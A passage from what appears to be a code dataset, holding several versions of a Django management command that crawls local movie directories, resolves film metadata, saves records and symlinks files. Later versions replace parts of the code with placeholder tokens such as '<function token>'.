MOVIES_EXT:\n self.message(self.command.style.WARNING(\"UNSUPPORTED EXTENSION %s\" % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2**20: # size < 256MB\n continue\n self.message(self.command.style.WARNING(\"SAMPLE\"), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name, path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write(\"[ {:^40} ] {}\".format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n # update old movies data.\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n\n movie = await self.resolver_set.resolve(path, movie)\n\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n\n self.report.success += 1\n movie.path = path\n\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS(\"ADDED\"), \"%s as %s\" % (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS(\"UPDATED\"), \"%s as %s\" % (path, movie.title))\n\n def symlink(self, path):\n destination = os.path.join(settings.MEDIA_ROOT, 'films', os.path.basename(path))\n if os.path.islink(destination):\n os.remove(destination)\n os.symlink(path, destination)\n\n\nclass Command(BaseCommand):\n help = \"Update local movie list\"\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT, force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n\n crawler = Crawler(self, loop, aiohttp_session, report)\n\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n\n # Delete movies with no path. Those entries are made possible since\n # movies can be saved in the resolvers.\n Movie.objects.filter(path=\"\").delete()\n\n report.display()\n", "import os\nimport json\nimport datetime\nimport re\nimport asyncio\nimport aiohttp\nfrom urllib.request import urlopen\nfrom urllib.parse import urlencode\nfrom django.core.handlers.base import sync_to_async\nfrom django.core.management.base import BaseCommand\nfrom application.models import Movie, NewMovieNotification, MovieDirectory\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom application.resolvers import ResolverSet\nMOVIES_EXT = ['.mp4', '.mkv', '.avi', '.flv', '.mov', '.webm']\n\n\nclass Report:\n\n def __init__(self):\n self.fail = 0\n self.success = 0\n self.poster = 0\n self.start_time = None\n\n def start(self):\n Report.start_time = datetime.datetime.now()\n\n def display(self):\n total_time = datetime.datetime.now() - Report.start_time\n total = self.fail + self.success\n if not total:\n print('You media directory ({}) does not contain any new film.'\n .format(list(MovieDirectory.objects.all())))\n return\n print('')\n print('Crawler report')\n print('===============')\n print('')\n print('Success {:>5} ({:>6.2f}%)'.format(self.success, self.success /\n total * 100))\n print('Posters {:>5} ({:>6.2f}%)'.format(self.poster, self.poster /\n total * 100))\n print('Fails {:>5} ({:>6.2f}%)'.format(self.fail, self.fail /\n total * 100))\n print('')\n print('Total {:>5}'.format(total))\n print('Time {}'.format(total_time))\n\n\nclass Crawler:\n\n def __init__(self, cmd, loop, aiohttp_session, report):\n self.command = cmd\n self.loop = loop\n self.aiohttp_session = aiohttp_session\n self.report = report\n self.movies = {m.path: m for m in Movie.objects.all()}\n self.resolver_set = ResolverSet(loop, aiohttp_session)\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in MOVIES_EXT:\n self.message(self.command.style.WARNING(\n 'UNSUPPORTED EXTENSION %s' % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2 ** 20:\n continue\n self.message(self.command.style.WARNING('SAMPLE'), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name,\n path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n\n def symlink(self, path):\n destination = os.path.join(settings.MEDIA_ROOT, 'films', os.path.\n basename(path))\n if os.path.islink(destination):\n os.remove(destination)\n os.symlink(path, destination)\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\nMOVIES_EXT = ['.mp4', '.mkv', '.avi', '.flv', '.mov', '.webm']\n\n\nclass Report:\n\n def __init__(self):\n self.fail = 0\n self.success = 0\n self.poster = 0\n self.start_time = None\n\n def start(self):\n Report.start_time = datetime.datetime.now()\n\n def display(self):\n total_time = datetime.datetime.now() - Report.start_time\n total = self.fail + self.success\n if not total:\n print('You media directory ({}) does not contain any new film.'\n .format(list(MovieDirectory.objects.all())))\n return\n print('')\n print('Crawler report')\n print('===============')\n print('')\n print('Success {:>5} ({:>6.2f}%)'.format(self.success, self.success /\n total * 100))\n print('Posters {:>5} ({:>6.2f}%)'.format(self.poster, self.poster /\n total * 100))\n print('Fails {:>5} ({:>6.2f}%)'.format(self.fail, self.fail /\n total * 100))\n print('')\n print('Total {:>5}'.format(total))\n print('Time {}'.format(total_time))\n\n\nclass Crawler:\n\n def __init__(self, cmd, loop, aiohttp_session, report):\n self.command = cmd\n self.loop = loop\n self.aiohttp_session = aiohttp_session\n self.report = report\n self.movies = {m.path: m for m in Movie.objects.all()}\n self.resolver_set = ResolverSet(loop, aiohttp_session)\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in MOVIES_EXT:\n self.message(self.command.style.WARNING(\n 'UNSUPPORTED EXTENSION %s' % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2 ** 20:\n continue\n self.message(self.command.style.WARNING('SAMPLE'), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name,\n path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n\n def symlink(self, path):\n destination = os.path.join(settings.MEDIA_ROOT, 'films', os.path.\n basename(path))\n if os.path.islink(destination):\n os.remove(destination)\n os.symlink(path, destination)\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n\n\nclass Report:\n\n def __init__(self):\n self.fail = 0\n self.success = 0\n self.poster = 0\n self.start_time = None\n\n def start(self):\n Report.start_time = datetime.datetime.now()\n\n def display(self):\n total_time = datetime.datetime.now() - Report.start_time\n total = self.fail + self.success\n if not total:\n print('You media directory ({}) does not contain any new film.'\n .format(list(MovieDirectory.objects.all())))\n return\n print('')\n print('Crawler report')\n print('===============')\n print('')\n print('Success {:>5} ({:>6.2f}%)'.format(self.success, self.success /\n total * 100))\n print('Posters {:>5} ({:>6.2f}%)'.format(self.poster, self.poster /\n total * 100))\n print('Fails {:>5} ({:>6.2f}%)'.format(self.fail, self.fail /\n total * 100))\n print('')\n print('Total {:>5}'.format(total))\n print('Time {}'.format(total_time))\n\n\nclass Crawler:\n\n def __init__(self, cmd, loop, aiohttp_session, report):\n self.command = cmd\n self.loop = loop\n self.aiohttp_session = aiohttp_session\n self.report = report\n self.movies = {m.path: m for m in Movie.objects.all()}\n self.resolver_set = ResolverSet(loop, aiohttp_session)\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in MOVIES_EXT:\n self.message(self.command.style.WARNING(\n 'UNSUPPORTED EXTENSION %s' % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2 ** 20:\n continue\n self.message(self.command.style.WARNING('SAMPLE'), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name,\n path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n\n def symlink(self, path):\n destination = os.path.join(settings.MEDIA_ROOT, 'films', os.path.\n basename(path))\n if os.path.islink(destination):\n os.remove(destination)\n os.symlink(path, destination)\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n\n\nclass Report:\n\n def __init__(self):\n self.fail = 0\n self.success = 0\n self.poster = 0\n self.start_time = None\n\n def start(self):\n Report.start_time = datetime.datetime.now()\n <function token>\n\n\nclass Crawler:\n\n def __init__(self, cmd, loop, aiohttp_session, report):\n self.command = cmd\n self.loop = loop\n self.aiohttp_session = aiohttp_session\n self.report = report\n self.movies = {m.path: m for m in Movie.objects.all()}\n self.resolver_set = ResolverSet(loop, aiohttp_session)\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in MOVIES_EXT:\n self.message(self.command.style.WARNING(\n 'UNSUPPORTED EXTENSION %s' % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2 ** 20:\n continue\n self.message(self.command.style.WARNING('SAMPLE'), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name,\n path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n\n def symlink(self, path):\n destination = os.path.join(settings.MEDIA_ROOT, 'films', os.path.\n basename(path))\n if os.path.islink(destination):\n os.remove(destination)\n os.symlink(path, destination)\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n\n\nclass Report:\n\n def __init__(self):\n self.fail = 0\n self.success = 0\n self.poster = 0\n self.start_time = None\n <function token>\n <function token>\n\n\nclass Crawler:\n\n def __init__(self, cmd, loop, aiohttp_session, report):\n self.command = cmd\n self.loop = loop\n self.aiohttp_session = aiohttp_session\n self.report = report\n self.movies = {m.path: m for m in Movie.objects.all()}\n self.resolver_set = ResolverSet(loop, aiohttp_session)\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in MOVIES_EXT:\n self.message(self.command.style.WARNING(\n 'UNSUPPORTED EXTENSION %s' % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2 ** 20:\n continue\n self.message(self.command.style.WARNING('SAMPLE'), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name,\n path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n\n def symlink(self, path):\n destination = os.path.join(settings.MEDIA_ROOT, 'films', os.path.\n basename(path))\n if os.path.islink(destination):\n os.remove(destination)\n os.symlink(path, destination)\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n\n\nclass Report:\n <function token>\n <function token>\n <function token>\n\n\nclass Crawler:\n\n def __init__(self, cmd, loop, aiohttp_session, report):\n self.command = cmd\n self.loop = loop\n self.aiohttp_session = aiohttp_session\n self.report = report\n self.movies = {m.path: m for m in Movie.objects.all()}\n self.resolver_set = ResolverSet(loop, aiohttp_session)\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in MOVIES_EXT:\n self.message(self.command.style.WARNING(\n 'UNSUPPORTED EXTENSION %s' % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2 ** 20:\n continue\n self.message(self.command.style.WARNING('SAMPLE'), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name,\n path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n\n def symlink(self, path):\n destination = os.path.join(settings.MEDIA_ROOT, 'films', os.path.\n basename(path))\n if os.path.islink(destination):\n os.remove(destination)\n os.symlink(path, destination)\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Crawler:\n\n def __init__(self, cmd, loop, aiohttp_session, report):\n self.command = cmd\n self.loop = loop\n self.aiohttp_session = aiohttp_session\n self.report = report\n self.movies = {m.path: m for m in Movie.objects.all()}\n self.resolver_set = ResolverSet(loop, aiohttp_session)\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in MOVIES_EXT:\n self.message(self.command.style.WARNING(\n 'UNSUPPORTED EXTENSION %s' % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2 ** 20:\n continue\n self.message(self.command.style.WARNING('SAMPLE'), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name,\n path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n\n def symlink(self, path):\n destination = os.path.join(settings.MEDIA_ROOT, 'films', os.path.\n basename(path))\n if os.path.islink(destination):\n os.remove(destination)\n os.symlink(path, destination)\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Crawler:\n <function token>\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in MOVIES_EXT:\n self.message(self.command.style.WARNING(\n 'UNSUPPORTED EXTENSION %s' % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2 ** 20:\n continue\n self.message(self.command.style.WARNING('SAMPLE'), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name,\n path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n\n def symlink(self, path):\n destination = os.path.join(settings.MEDIA_ROOT, 'films', os.path.\n basename(path))\n if os.path.islink(destination):\n os.remove(destination)\n os.symlink(path, destination)\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Crawler:\n <function token>\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in MOVIES_EXT:\n self.message(self.command.style.WARNING(\n 'UNSUPPORTED EXTENSION %s' % ext), path)\n continue\n statinfo = os.stat(path)\n if statinfo.st_size < 256 * 2 ** 20:\n continue\n self.message(self.command.style.WARNING('SAMPLE'), path)\n tasks.append(asyncio.ensure_future(self.handle_file(name,\n path)))\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n <function token>\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Crawler:\n <function token>\n <function token>\n\n def message(self, tag, message):\n try:\n self.command.stdout.write('[ {:^40} ] {}'.format(tag, message))\n except UnicodeEncodeError:\n pass\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n <function token>\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Crawler:\n <function token>\n <function token>\n <function token>\n\n async def handle_file(self, name, path):\n if path in self.movies.keys():\n if not settings.ALLOW_DB_UPDATE:\n return\n movie = self.movies[path]\n update = True\n else:\n movie = Movie()\n update = False\n movie = await self.resolver_set.resolve(path, movie)\n if not movie.poster:\n self.message(self.command.style.NOTICE('NO POSTER'), path)\n else:\n self.report.poster += 1\n self.report.success += 1\n movie.path = path\n await sync_to_async(movie.save)()\n if not update:\n await sync_to_async(NewMovieNotification.notify_all)(movie)\n self.symlink(path)\n self.message(self.command.style.SUCCESS('ADDED'), '%s as %s' %\n (path, movie.title))\n else:\n self.message(self.command.style.SUCCESS('UPDATED'), '%s as %s' %\n (path, movie.title))\n <function token>\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = 